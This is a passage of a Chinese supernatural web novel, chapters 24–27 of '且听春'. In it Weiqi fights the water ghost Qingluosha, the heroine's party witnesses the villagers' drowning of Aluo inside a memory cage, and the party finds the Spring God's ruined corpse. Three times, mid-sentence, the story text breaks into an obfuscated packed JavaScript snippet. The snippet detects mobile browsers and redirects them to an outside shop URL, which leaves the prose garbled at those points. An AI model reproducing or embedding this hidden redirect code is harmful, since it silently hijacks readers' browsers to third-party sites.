“对呀对呀!”青羽的鸟嗓子叽叽喳喳响起来:“柳梢姐姐我看这事就没问题,卫大人都愿意出手了,我们这么多人,肯定能解决这事!” 柳梢笑着从地上站起来,抬手抹了一把眼角。 * 夜晚井边的空地上,已经点满了蜡烛,烛火摇曳,一圈一圈,层层叠叠,像是铺开了一层星河。 李兆京坐在这些蜡烛中间,白发在夜风中飘动,灰白的脸色神色奇异的平静。 兰溪和其他人站在旁边,卫祁站在井的另一侧。 他离烛火最远,整个人几乎融进阴影里,月光落不到他身上,烛火也照不到他脸上,有风而过时,才能隐约看见那抹清隽的轮廓。 他一动不动地站着,衣角轻轻飘起,他手指微微动,地上摇曳的烛火,齐齐被牵连着摇晃。 他抬起手,指尖在掌心轻轻划过,血便从手心涌出,鲜红的鲜血一滴滴向下滴落,落在井沿旁,染上那层层叠叠的符纸。 井沿上符纸沾染上他的血,暗红的字体扭曲,符纸突然燃烧了起来,冷冷的蓝火燃烧,符纸化为灰烬飘落。 烛火剧烈摇晃起来,井里开始呼呼地往上涌出风,一股恶臭带着水腥气的风扑面而来,黑水从井里翻滚着涌上来,漫过地面。 风越来越大,大到兰溪有些睁不开眼睛,可卫稳稳站在原地,衣角翻飞,垂着眼看着井口。 井里的黑水不知道是翻滚了多久,阵法摇摇欲坠,忽然,四周的蜡烛都安静了下来。 一只浮肿的,指甲扭曲的,惨白的手从井里伸出来。 24. 且听春 那双手十指扣在井沿的青石上,青白的带着死色的指节,一点点将身子从深不见底的黑洞里拖出来。 一时间浓烟四起,青灰色的烟从井中弥漫而来,带着水底的腥臭呛得人睁不开眼。 井里爬出的身影终于缓缓爬出来,青烟间,一道女子的身影站起身子,她穿一身粗布衣裳,看不清原来颜色,腰间绑着一截麻绳,已经朽烂大半。 她手腕和脚腕上都缠着铁链,锈迹斑斑的铁链紧紧地勒进肉里,随着走路的步伐,铁链在地上拖拽,刺耳得让人发毛。 她怀中抱着一根早以枯萎发黑的树枝,提着一盏白灯笼,那张脸浮肿得认不出人形,皮肤就像泡了几百年的死肉,惨白又青紫,她那张脸,七窍不停得往下淌着黑水。 她就在青烟里站着,手上灯笼幽幽发着白光,她一步一步往前走。 其他人都觉得不寒而栗,柳梢脸色一白,下意识要往李兆京身前挡住。 青羽站在兰溪的肩膀上,羽毛有些炸开,两个爪子扒着兰溪的衣服,盯着远处道:“那是……青罗刹的真身。” 青罗刹那双深陷的黑瞳在院子里扫了一圈,扫过远处满脸惊恐的家丁,然后掠过所有人落在不远处苍老端坐着的李兆京的身上。 她突然就有了目标,立刻凶相毕露,扑到李兆京面前,那双惨白的手直直伸出,朝李兆京的喉咙抓去。 “住手!”柳梢尖叫一声,想上前阻止。 一道黑影掠过,卫祁却更快一步闪到李兆京的身前,他抬手间,青罗刹像是被某种力量用力一拽,她来不及反应,卫祁已经一掌拍着她的胸口, 简单直接的一掌,青罗刹的身体直接被震飞出去,猝不及防得砸穿了一堵墙,深深嵌在地上,半响动弹不得。 她在废墟里颤颤巍巍站起来,浑身的骨头咔咔作响,她抬起那双空洞的眼睛,仔细端详起卫祁。 她再次扑了上来,下一秒,无数铁链从井中暴起飞射出来,铁链像千万条毒蛇,铺天盖地地朝卫祁涌去,几乎要将人淹没。 卫祁身上翻涌的鬼气骤然而出,张牙舞爪的黑色触须化为屏障,像是无形的手,死死攥住那些铁链,铁链便在空中停滞。 卫祁手腕轻轻一转,那些铁链便节节崩碎,碎成齑粉化作漫天黑尘簌簌落下。 青罗刹不可思议地看着,还来不及反应,那些那些触手便朝她席卷而来,她只能往旁边滚去,狼狈地躲避攻击。 黑色触手就这样追着她,一下一下砸在地上,地面裂开一道道深坑,青罗刹犹如一只被猎杀的困兽,被捕食者猎玩。 一时间,碎石飞溅,烟尘弥漫。 兰溪站在一旁,她什么都看不见,她疑惑没看到卫祁出手,青罗刹就被一股力量追着杀。 她看向卫祁,他就站在那里,衣袂未乱,可他周身的气息,明明兰溪什么都看不到,却总觉得有东西从他身上蔓延出来,压得人喘不过气。 卫祁的攻击停止了,他只是站在原地垂着眼,像是等待。 果然青罗刹动了,她用尽全部力量化成一道黑色的流光朝卫祁扑上来,这一次,黑色触手没有让她飞出去,而是掐住她的脖子,将她死死缠住,高高举起悬在半空。 卫祁就这样掐着她,将她提起来。 他脸上没什么表情,只是微微偏头,像是看一件经年的旧物。 青罗刹挣扎着,在空中踢蹬着脚,被勒得青筋暴起,眼珠向外凸起,七窍里的黑水不断向外涌。 这时兰溪第一次直面卫祁的力量,眼前的可怕让兰溪下意识地就想后退。 青罗刹痛苦地低下头,看向卫祁,那双空洞的眼睛,死死盯着他的脸,盯了很久很久。 然后,她那张狰狞的脸突然笑了起来。 她笑得痴狂刺耳,从她那腐烂的喉咙里扯出笑声,她笑得上气不接下气,浑身随着笑意发抖,眼泪混着黑水往下流。 “是你……真的是你……” 青罗刹盯着卫祁的脸,笑声尖锐得意。 “一千年了!一千年了……你也变成这副恶心的模样了?” 她咧着嘴,黑水从嘴角往下流着,她却笑得喘不过气。 “你不是衣不染尘吗?你不是高高在上吗?你现在这是什么样子?满手血腥,浑身孽债,恶心!真恶心!” 卫祁的手指微微收紧,她的脖颈被勒得更紧,可又挤着发出更尖锐的笑声。 “哈哈……哈哈……你恼了?你也会恼?你不是永远都一副假惺惺的慈悲样子吗?怎么现在也来杀人了?你现在这副样子,和我有什么区别?” 你还在做那些春秋大梦呢?还想着救化苍生?还等着这世间的造物主能睁眼看看你?哈哈哈……真是可笑!” “你看看你现在的样子!和这井底的烂泥有什么区别!” 青罗刹的笑声戛然而止,她死死盯着卫祁的脸,像是要从他的脸上剜出一块肉才肯罢休。 “我祭祀了一千年!等啊等……总算把你盼出来了!” “可你不是他,你不可能是他,他不可能是这个样子,他就算死,也不会变成你这副肮脏的样子!” 卫祁的脸沉了下来,他那双一直淡漠的眼睛里,带着说不清的厌恶。 卫祁的手上的动作骤然收紧。 “咔嚓——” 青罗刹的脖子瞬间被拧断,头颅从脖颈上掉下来,滚落在地,骨碌碌转了几圈。 那个头颅浮肿的脸上嘴还微张着,咧开的嘴留着疯狂的笑意。 无头的尸身从半空跌落,重重砸在地上。 院子里安静了一瞬,兰溪瞳孔瞬间睁大,捂住嘴巴。 地上青罗刹的尸身却动了,断颈处不断涌出黑水,那些黑水像活物一样蠕动凝结,片刻之间,一颗新的头颅长了出来。 她脸上挂着痴狂的笑,扭着脖子缓缓站起身来道。 “杀了我啊?你倒是杀啊?” “执念笼在一天,我就一天不死不灭,你杀不了我,永远也杀不了!我会一直在这儿,一直看着你,看着你这副恶心的样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320116|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,看着你在这世间烂泥里挣扎,看着你永远也逃不掉!” 她的笑声回荡在夜风里,让人毛骨悚然。 卫祁站在原地,低头看着自己的衣角,白衣上沾着几滴黑水,染上一片墨色。 青罗刹张开双臂,周身涌出无数黑色铁链,铁链从井口,从每一道符纸的残骸中钻出来,四面八方朝着卫祁缠绕过去。 可这一次,卫祁没有躲。 他抬眼看了一眼那些铁链,然后抬眼看着癫狂的青罗刹,沉着脸不知是叹息,还是认命。 那些铁链缠绕住他的腰身,手腕,将他淹没在黑色光芒之中。 “卫祁!”兰溪有些急了,她冲上前去,却被一股无形的力量给弹回来了。 她只觉得眼前一花,扑向一片炸开的光晕,再睁眼时,眼前空荡荡的一切。 卫祁和青罗刹都消失不见。 青羽在旁边大喊一声:“不好!青罗刹把人拉进了执念笼!” 兰溪迈步就顺着最后一点余光往井口冲去。 “小师妹!”柳梢在身后喊她,兰溪没有回头。 她撑着井沿低头看着井下深不见底的黑,身后传来柳梢的脚步声带着骂骂咧咧的声音,青羽也叽叽喳喳得飞过来道。 “等等!执念笼只能进不能出!里面很危险的!你们听我说……” 兰溪深吸一口气,纵身一跃,黑水翻滚着将她吞没。 柳梢冲到井边,看见兰溪跳下去最后一角的衣袂,她站在井沿上,愣了一瞬,然后暗骂了一句。 “这死丫头,算了,死就死吧!” 柳梢做势也要跳,青羽在旁边大喊:“疯了疯了!你们……哎哎哎……别跳!” 柳梢一把抓住上下扑腾的青羽,拉着青羽,二话不说,也跟着跳下去。 “不是……我自己会飞!”青羽的惨叫声在井口回荡,随即被黑水吞没。 随着三声闷响,兰溪摔进水中,她觉得身子一轻,穿过了一层水幕,然后摔到一块实地上。 她睁开眼,爬了起来,眼前竟然有一方新的天地。 这是一个村庄,暮色沉沉,天边一片晚霞,霞光映照青山如黛,近处田埂纵横,民居错落着坐落着,一副江南村居图。 可是诡异的是空气里说不出的湿冷,想是被闷在里面,显得一切都不真实起来。 “这是什么破地方?”柳梢站在她旁边吐槽,浑身湿漉漉的,正拧着袖子上的水。 青羽从旁边栽下来,一头扎进旁边田埂的泥地里,两只小鸟腿还在外面蹬。 远处隐隐传来传来喧哗声,兰溪循声望去,只见村庄中央的空地上,黑压压围了一大群人,男女老少都举着火把,火光在暮色里跳动着,像是在举办某种仪式。 “诶!让一让!”几个穿着粗布短褂的壮汉,肩上扛着几坛烈酒,行色匆匆地路过。 为首的汉子看见兰溪和柳梢,脚步一顿,冲她们招招手:“哎!你们也是来状告那妖女的?快走快走!再晚点挤不进去了。” 25. 且听春 兰溪还来得及回话,那群大汉已经扛着酒坛从她们身边挤过去,朝村庄中央涌去。 兰溪和柳梢决定跟着往前走看看,青羽从地上扑腾着也跟上了二人,一行人混在人群里挤进去。 火把的光把半边天映得通红,人群簇拥着,越往里走人越多,人脸在火光里忽明忽暗,但人们的眼睛却亮着盯着某处,像一排夜行的兽。 最后一点朝霞压在这片山脊时,锣鼓声响起。 明明是猛击的锣鼓声,在这里却很闷,像是在地下供出来的闷响。 一老者站在人群前,身穿白麻衣袍,被晚风吹得鼓起又落下,他看了一眼天边最后一抹红,等待红霞彻底灭掉。 然后,他冲着旁边大汉摆摆手,几人便拉出了一个被浑身捆着铁链的女子。 人群沸腾了,兰溪踮着脚,透过层层人影,才看清情况。 人群中央的空地上,立着一根木桩,木桩上绑着一个女子。 她衣裳破烂,披头散发,身上用铁链勒着,手腕和脚腕上一道道红痕,可她仰着头,眼睛恶狠狠地地盯着众人。 火把的光照在她的脸上,兰溪看清了她的脸。 “那是阿罗……”兰溪喃喃道。 和从前幻境里的女子有着同一张脸,兰溪念出来她的名字。 柳梢凑过来,眯着眼睛看了一会儿,开口问:“这莫非就是那个水鬼青罗刹生前的模样?” “应该是,这里是她的记忆,那肯定就是她。”青羽停在兰溪肩头压低声音回答。 旁边人群有人开始交谈,嗡嗡的声音越来越大,偶尔能听见几个词。 “妖女!杀了她!” “终于等到这一天,这妖女不得好死!” …… 被绑在木桩上的阿罗似乎是听到众人的声讨,她对着人群大喊。 “我是春神的使者!我可是春神亲口赐福的人!你们忘了吗?那年大旱,是我求来的雨!是我挖的井!是我让你们活下来的!” “你们敢绑我?你们这些忘恩负义的东西!” 她声音尖锐刺耳,不停地咒骂。 “现在翻脸不认人了?没有我,你们早就死绝了!你们的爹娘,你们的儿女,你们的祖宗十八代,都该给我磕头!” 她挣动着身子,绑着她的锁链勒进皮肉,渗出血来,她双眼通红,死死盯着面前那些人。 兰溪看着这一幕,村民们骚动起来。 “这些村民是想处决她?”兰溪左右环顾一圈,看见村民眼里也带着恨意。 “所以这就是阿罗的死因?搞这么大阵仗……这得什么仇什么怨啊?这阿罗还怪可怜的。”青羽道。 柳梢却没有什么感情,环抱着胸道:“那可未必,她都成煞鬼了,恐怕生前也不是什么好人。” 那困在木桩上的阿罗咒骂的话就没停过,她看向把自己捆起来的族人。 “还有你们!”她朝自己族人吼道:“你们有什么资格绑我?你们身上流的是谁的血?没有我,你们能有今天?春神的血脉在我身上,我给了你们,你们才有今天!你们就是这么报答我的?” 那几个族人站在她旁边握紧了拳头,盯着她不说话。 阿罗嗤笑了一声:“这些年我给你们多少好处?你们永远不缺粮食?你们的孩子永远比别人家吃得饱穿得暖?现在翻脸了?跟着外人来绑我?” 旁边站着白麻衣袍的老者站在她面前,盯着她看了很久,然后缓缓道。 “阿罗。”他开口:“从前你救了我们,我们感恩你,奉你当神女,可是后来……这些年你在乡里横行霸道,我们忍着你,是因为念着你的恩情,春神还在你救还是神使,可现在……” “春神已经多久没回应你了?八年了,八年前那场大旱之后,春神就再也没出现过,我们都知道,他是厌弃了这里,厌弃了你!” 阿罗的脸色瞬间变了,她大喊:“你胡说!” 那老者指着她:“春神离开后,你成了十里八乡最风光的人,这些年你借着春神的名义干了多少事?你利用身份敛财欺压,你以为我们都瞎吗?” 人群里响起一阵附和声,有一个妇人哭着站出来指着阿罗控诉。 “阿罗,三年前,你说替春神传下神谕,让我们多交三成粮,结果我们的收成粮食都被你一个人贪下!”她带着哭腔大喊:“我家老三就是那年冬天饿死的,那时候他才六岁!” 又有人站了出来:“那年我家男人病了!我在你门口跪了三天,求你帮忙向春神求药!你说我们心不诚,交不出祭品给不了药,于是我男人就病死了!” “你说谁家想求风调雨顺,想求五谷丰登,就得给你送钱送粮,你规定村里每年必须举行祭祀,祭品要最肥的猪、最壮的牛、最新的布匹,谁家要是交不出,就会被你指责对神不敬!” 人群越来越激动,每个人都恨不得冲上来撕了阿罗,就连阿罗身边守着她的一直沉默的族人也忍不住开口。 “就是因为身为你的亲人有了血脉庇佑,你就定下规矩,不许族里女子外嫁,只准近亲结婚!我们族里的孩子都活不下去!” “你把你自家族人的孙子关在暗室里,因为那孩子有血脉天赋,每次有达官贵人来找你祈福,你就让那孩子出来换取大量钱财。 “还有你要建的庙,让每家每户都要交钱出力!交不出来就记名,记了名就说人家有罪,逼死了多少人!” 人群的控诉声如浪潮一般此起彼伏,一条条像血钉一样钉在阿罗身上。 最后一个人说完,安静了一瞬,但人潮的情绪已然到了顶点。 那老者深吸一口气,转身对着围观的村民,高声喊道: “各位乡亲!今天把大家叫来,就是要做个了断!这妖女借着春神的名头横行霸道这么多年,如今春神厌弃了她,也厌弃了我们这块地方,这些年我们庄稼歉收,雨水不来,村里老的小的一个接一个病去!再不把她处置了,春神的怒火什么时候能消?” 他指着阿罗大声道:“今天,我们就烧了庙宇,把她祭给春神!用她的命,换春神的原谅!换这块地方的风调雨顺!” 人群沸腾了,人们高举着火把,此起彼伏地应声附和。 “杀了这妖女!” “烧了庙宇!把妖女沉河!” “杀了她!杀了她!” …… 阿罗看着一张张讨伐她的面孔,愣了一瞬,然后歪着头冷笑一声。 “你们说我借着春神的名头敛财?说我压榨你们?说我害死了人?” “那又怎样?”她声音拔高。 阿罗昂着头,火光在她脸上跳动,她的眼睛扫视众人:“春神第一个赐福的人是我!不是你们!他给我的血脉,我给了你们,你们才有今天,你们不感激我,还跟我算账?” “我得到的,都是我该得的!我比你们虔诚,比你们善良,比你们更配得上这份恩赐!春神选中我,是因为我特别!我和你们不一样!” 她越说越激动,咬着牙颤抖。 “我只是想要多一点……多一点怎么了?我帮他做了那么多事,我替他传话,我替他守护这里,我给他立了庙,让他受香火,我凭什么不能多拿点?那是我该得的!” “我的东西!我想怎么用就怎么用!你们算什么东西,也配来管我?” 听到阿罗的这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333773|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些话,人群爆发出更大的愤怒。 天色彻底暗下来了,晚霞终于烧尽,黑夜沉沉压下来。 人群里不知道是谁喊了一声:“烧了她的庙!” 人群便像潮水一样涌动起来,朝着中央一座建筑而去,火把跟着走,人群像一条愤怒的火蛇曲曲弯弯地缠上山腰。 烈酒被泼洒向天空,火把被扔了进去,火苗舔着木制的梁柱,舔着壁画上的神像,舔着阿罗积攒了多年的金银供品,一同被被浓烟席卷。 兰溪在人群的窜动间,看见那庙宇名为“祈灵庙”,壁画在火光中斑驳,却能依稀看见画中景象: 身穿素衣的神祇自山间而来,所过之处百花盛开,百姓跪拜,神祇面容模糊,唯独鬓边簪一朵花,唇角含笑,携花踏云,风骨清隽,好不风流。 可惜蔓延的火舌立刻攀着火柱吞尽一切,壁画倒塌,庙宇连着山一同火光滔天,那些枯的、死的、烂在土里的千年的东西,这在这火里痛快地叫着。 阿罗看着这一切,开始哭了,笑着哭着,泪珠折射火光,不知在大笑还是在大哭。 几个大汉走上前,解开绑着她的木桩,把她从柱子上拖下来,阿罗挣扎着,用脚胡乱蹬着,可她身上捆着铁链,身体在地上拖拽出一道血痕。 她却抬起头,开始咒骂起了不在场的春神,仿佛她就能看到一般。 “春神!我恨死你了!” 她带着哭腔开始疯狂地大叫着:“我那么虔诚!我什么都听你的!我还为你立了庙宇,你要我救人我就救人,你要我干什么我都可以干,可你呢?你给了我什么?” “我想要多一点,你从来不给!我想要你带我走,带我离开这破地方,带我去当神,你却拒绝我!说我的命格承受不住,都是借口!” 她癫狂地对着天空大骂:“我替你做了那么多事,我替你救了那么多人,我替你守了这么多年,我凭什么承受不住?你就是小气!你就是不想给我!” 说着说着她的眼泪流下来,混着脸上的血污,声音变成了哭腔。 “要是你肯带我走,我怎么会落到这个地步?要是你肯让我当神,我就长生了!怎么还会跟这帮贱民纠缠这么多年?” 她抬起头,瞪着黑沉沉的天空。 “现在呢?你在哪儿?你不是神吗?你不是无所不能吗?他们要把我烧了!要把我祭给你!你倒是出来啊!” 夜风呼呼地吹着,对着空荡的黑夜,没有人回答她。 阿罗的骂声也渐渐低下去,最后变成喃喃自语。 “我没做错什么……我只是想要多一点……这有什么错……你为什么不管我……” 她重复着,一遍又一遍。 兰溪一行人看着这一幕,他们也只能看着。 看着阿罗被拖到河边,看着那些人抬着她的身体,她疯狂扭动咒骂。 “我不会放过你们的!我们都不得好死!你们所有人!我的族人还有该死的春神!我做鬼也不会放过你们的!” 村民们高喊着:“处死她!处死她!” 阿罗被按进河水里,水花溅起,又落下,她被按着溺毙在水中,水面翻腾了一阵,又逐渐平息,尸体沉进水里。 水面波光粼粼,黑水的河里月光碎成银,碎银拼凑起来一个完整的月亮,但那也不是一个真正的月亮。 那只是一条臭水沟,长出了一个银月亮倒影。 兰溪想起幻境里那个跪在春神脚下的阿罗,那时候她的眼睛很亮。 以为自己是春天的中心,可原来只是被明媚偶然照到的一颗蓖麻芥子,误生了一丛生机。 可是蓖麻终究是蓖麻,开出的花也是恶毒的。 26. 且听春 四周的景象像一张图画被揉皱成一团,无边无际的灰雾吞没一切,兰溪站在雾里看着柳梢消失了。 “师姐?”她喊了一声,却无人应答,只有自己的声音在雾中回响。 她低头看见自己手里落了一团湿漉漉的羽毛,青羽从她的指缝里探出脑袋,他有些无力道:“这个执念笼很不稳定,咱们跟丢了人,要是找不到出口……恐怕是出不去了。” 兰溪把他捧起来,放在自己肩上,青羽抖了抖羽毛,抖出一串水珠,有些恹恹地对兰溪:“我感觉到力量在被压制,我没法飞了,这里恐怕要有危险,我们要赶紧走……” “去哪?”兰溪发问,她环顾四周,四周的景象像是虚幻的万花筒。 这时候她感知到地面在微微震颤,整个世界都摇晃起来,天光开始裂开,碎裂成一道道碎片,发出震耳欲聋的轰鸣。 兰溪脚下开始裂开一道道裂缝,碎石和泥土哗啦啦往下掉,她猛地往前扑,躲过一道塌陷。 “怎么回事!”兰溪抱着青羽的鸟身,在崩塌的世界大步奔跑逃窜。 青羽看了一眼出现的裂痕:“这个幻境像是要塌了!塌了我们就出不去了!要赶紧找到地方躲一躲。” 兰溪踉跄着往前跑,身后的土地就一块一块地往下陷,身后的世界像是风暴席卷,她只能硬着头皮往前跑,她不能停下来,一停下来就会被吞掉。 在崩塌的世界里,翻涌的灰雾深处,兰溪看见一个建筑始终立在原地。 是刚刚见到的那个被烧毁的祈灵庙,一座被烧毁一半的破庙,无论周围的幻境如何塌陷变幻,它却沉默着立着。 不知道为什么,兰溪觉得哪里是安全的。 她拼尽力气朝那个方向跑去,在地上的裂缝吞没她之前,一头撞进那扇被烧得焦黑歪斜的门,扑倒在地上。 外面的风暴被隔离出去,兰溪大口喘着气,趴在地上心跳不止,好一会她才撑着身子起身看四周。 这里从外面看只是一间被烧毁的破庙,可是里面却截然不同,这里面大得不像话,仿佛空间已经不能用尺度去衡量,四周的墙壁向远处延伸,看不到尽头。 四周的墙壁上画满了壁画,花纹密密麻麻,层层叠叠地延伸到最高处,可这些画大都斑驳不清,像是有无数道深深的爪痕从壁画上划过。 兰溪凑近看,依稀能看出山川的轮廓、河流的走向、跪拜的人影、盛开的鲜花,一切景象都被抓烂了。 像是有人恨极了这一切,带着恨意在原本精心描绘的墙上,留下一道道触目惊心的抓痕,好发泄自己的怒火。 青羽这时从地上尝试扑腾着飞起来,他到处打量一番道:“这里的灵力波动最为平静,看来这里就是执念笼的阵眼了。” “什么是阵眼?”兰溪看向青羽发问。 青羽想了想解释道:“阵眼嘛,就是这执念笼的中心,就像是暴风之眼,是最稳定的地方,而且这里和煞鬼的连接最深,也最有可能是出口。” 兰溪听着就开始仔细走近这间庙的深处,这里斑驳的墙壁两侧摆满了烛台,这些烛台锈迹斑斑,却还有火光不灭,烛台后面是一排排的石碑,上面细细密密地刻着字。 “青羽,你看这地方……像不像那种家族的宗祠?”兰溪用手指着前面。 青羽歪着脑袋看了一圈,回答道:“你这么一说,是有点像,看那边一排排的烛台,摆得整整齐齐,跟供桌一样。” 兰溪走过去到石碑前,蹲下去查看。 发现石碑上刻的是一排排的名字,一行一行的名字排列整齐,还刻着“故、显考、先妣”之类的字样。 “这是……族谱?”兰溪喃喃道。 青羽蹦到她肩膀上伸长脖子看:“还真是族谱,这庙里供的是谁的族谱,该不会是那水鬼青罗刹的吧?” 兰溪一路顺着名字往下看,在最下面几行,有几个还算新的名字,其中一个刻着“李兆京”这三个字。 “李太傅?”兰溪愣住了。 她顺着那一行向下看,下面是李兆京儿子的名字,再下面就是他孙子李崇文的名字,兰溪站起来,一只沿着名字追溯到最顶上一行,哪里刻着一个她眼熟的名字——李阿罗。 “李太傅是阿罗的后人!”兰溪惊道:“所以整个李家都是阿罗的后代……” 青羽忍不住开口:“所以那青罗刹疯疯癫癫的,杀的都是她自己的子孙?” 兰溪沉默了,她目光往下移,发现整个族谱上,除了李兆京这个名字,其他所有的名字,都被血痕划掉了,暗红干涸的血痕渗进每个名字里。 “这李家,除了李兆京还活着,其他所有人都被阿罗害死了。” 兰溪突然想到太傅府那些郁郁葱葱的草木,那些盛开不谢的花,想起了幻境里春神赐福的场景,春神赐阿罗一道血脉,让她子孙后代皆受庇佑。 可如今,她的子孙后代皆被她世代纠缠,祸事缠身。 兰溪开口问:“你说……阿罗杀自己的子孙,真是只是因为恨吗?” 青羽听了这个问题,愣了一下。 兰溪继续道:“如果阿罗杀自己的后人,只是因为恨,那为什么她要拿他们的尸体去祭祀春神,除非她杀他们,不全是恨……” “谁知道呢!”青羽在旁边蹦了两下,翅膀一摊:“那水鬼脑子里想什么谁猜得出来?你看她生前就不是什么好人,仗着春神给的那点本事,在村里作威作福,把自己当土皇帝,死了也不消停,几百年还在折腾!” 他越说越来劲,从兰溪肩膀上蹦到地上,一路骂骂咧咧地到处溜达。 “我跟你说,这种人……这种鬼,就是典型的升米恩斗米仇,春神给她一点福泽,她就一直要更多,不给还不行,不给就是对不起她,你说这是什么道理?” “你看看她干的那些事,这哪是什么神女?这就是个土霸主!春神也是倒了八辈子血霉,摊上这么个……” “哎哟!” 话还没说完,青羽就脚下一空,这个鸟从地面消失了,只留下一声惨叫。 兰溪心里一紧,赶紧过去查看,发现地面不知何时裂开一条缝,缝隙下面隐约能看见一个不大的隔层。 “青羽,你没事吧?” 下面传来青羽有气无力的声音:“咳咳咳……我没事,哎你快下来看看这个!” 兰溪小心翼翼地顺着缝隙滑下去,下面是一个不大的空间,弥漫着一股潮湿的霉味,空气还有陈旧的灰尘。 青羽站在一个石台旁,抖了抖灰扑扑的羽毛,用翅膀指了指面前唯一的墙壁道:“看这里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392621|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 兰溪顺着他指着的反向看过去,墙壁上有一幅壁画,颜料有些斑驳脱落,但还能看清大概的轮廓,似乎在画一场祭祀。 漫天的桃花、杏花、梨花同时绽放,花瓣铺天盖地飘扬,祭祀者穿着布衣跪在坛前,双手高举,眼前出现一个光晕像一扇门打开,里面祭坛中央,一个白衣身影静静地躺着,他闭着眼,面容模糊。 兰溪隐约猜出这幅画里那个祭祀者是阿罗,但其他信息她读不懂。 “这是什么意思?”她指着画里那个白色身影。 青羽低低地飞起仔细端详,难得变得严肃起来。 “是十方界。”他开口道:“我在族里的古籍里读过,春神死后便陨落了,遗骸被存放在十方界里,十方界是超脱三界的小世界,独立于天地之外,没有人知道在哪里,也没人知道怎么进去。” 他看着墙上那幅壁画道:“我猜,青罗刹大概是想用李家子孙身上的春神血脉去感应十方界,血脉同源,她想用李家人祭祀,去把十方界从虚空中拽出来。” 兰溪看着那幅画,画里白衣神明躺在祭坛上,面容模糊,可他的身影和姿态,都说不出的熟悉。 “青羽,春神是怎么死的?”兰溪突然开口问。 青羽沉默了一阵,露出了一个复杂的表情,斟酌了一会儿道。 “这个嘛……其实春神的故事我也是偶然在族中的古籍里看到的,不是正史,是在一些藏书阁没什么人翻过的杂书里看的。” “春神这个名号,只是江南凡间百姓为他尊称,其实那位神在三界中名声并不好,被斥为邪神。” “怎么说?”兰溪看向他问起。 青羽又道:“在正道各大门派的史书里,都明明白白地写着,百年前,正道几大门派围剿邪神于天目山,邪神伏诛,天下称庆,从此正派以剿灭邪神为骄傲,代代相传,写进弟子的入门第一课里。” “所以阿罗祭祀就是为了找到这位死去神的遗骸,那你她找到了吗?”兰溪轻声问。 青羽摇摇头:“不好说,青罗刹掳走了李兆京,搞不好已经快成功了。” 他顿了顿又歪了歪脑袋:“不过话说回来,谁会把自己的计划这样子画出来?生怕别人不知道似的,这青罗刹脑子是不是有什么毛病?” 兰溪愣了一下,想起自己以前也这样画过自己那些坏心思的计划,脸上忽然有些发热。 “有……有那么傻吗?反正是画给自己看的。”兰溪有些不自在地嘟囔。 青羽没注意兰溪,只是自己在周围转悠,突然他蹦到一个石台上,那石台上只插着一根枯枝。 “你看这个。”青羽歪着脑袋盯着那根枯枝:“这根枯枝,是春神赐给阿罗的,应该就是阿罗最重要的东西了,也是祭祀的引子,说不定就这执念笼的源头。” 他说着有些兴奋,翅膀扑棱了两下,在石台上蹦来蹦去:“你说,咱们都摸到她老巢里来了,为什么不干脆把她老巢给捣了?把这棍子一折,她那些执念不就散了吗?执念一散,执念笼不就破了吗?执念笼一破,咱们不就出去了吗?” 青羽越说越觉得可行,已经扑棱着翅膀飞了起来朝那根枯枝扑去。 “青羽!不要……”兰溪还没反应过来,看着青羽扑过去来不及阻拦。 27. 且听春 地下隔层的天花板开始开裂,大块碎石从头顶砸下来,那根枯枝突然开花了,大片的花朵像是吸水的海绵一样迸发。 青羽被那股力量震飞出去,兰溪扑上石台,伸手去抓那根枯枝,指尖抓住的瞬间,她便觉得天地翻转。 壁画上那些模糊的祭祀场景一瞬间变得清晰,漫天花开,十方界门大开,光芒把兰溪整个人吞没。 再睁眼时,兰溪发现自己站在一个无边无际的水面上,脚下是薄薄的一层水,映着灰蒙蒙的天空,无尽的白光自四面八方涌来。 不远处,一片枯荷败叶东倒西歪,枯黄的茎杆光秃秃地垂着,枯瘦的茎杆之间漂浮着腐烂发黑的浮萍,空气中尽是淤泥的腥气。 枯荷之间的泥水里躺着一个白衣男子,白衣已被泥水浸透,他的脸侧向一边,长发乱乱地铺在泥里,发丝混着黑色的淤泥和暗红色的血。 那白衣男子的身上已经血肉模糊,到处都是深可见骨的伤口,有些地方已经腐烂,露出底下的灰白的骨头,身下的血和泥混在一起,把周围的水都染成暗红色。 兰溪看清那张脸的时候,整个人都喘不上气。 那是卫祁的脸,是他,又不像他,那人皮肉翻卷着,露出底下的白骨,卫祁的手永远修长好看,可那具尸体指甲里嵌满了泥和血。 阿罗跪在那具尸体旁边,她低着头,两只手伸进泥水里,抓出一把混着血肉的泥,捧到嘴边往嘴里送,咀嚼吞咽,然后又抓下一把。 她一边嘴里还在唱歌,含含糊糊像是呜咽。 “春水暖,桃花开,春神赐我桃花枝。万家井,神女名,春神予我长生期。” 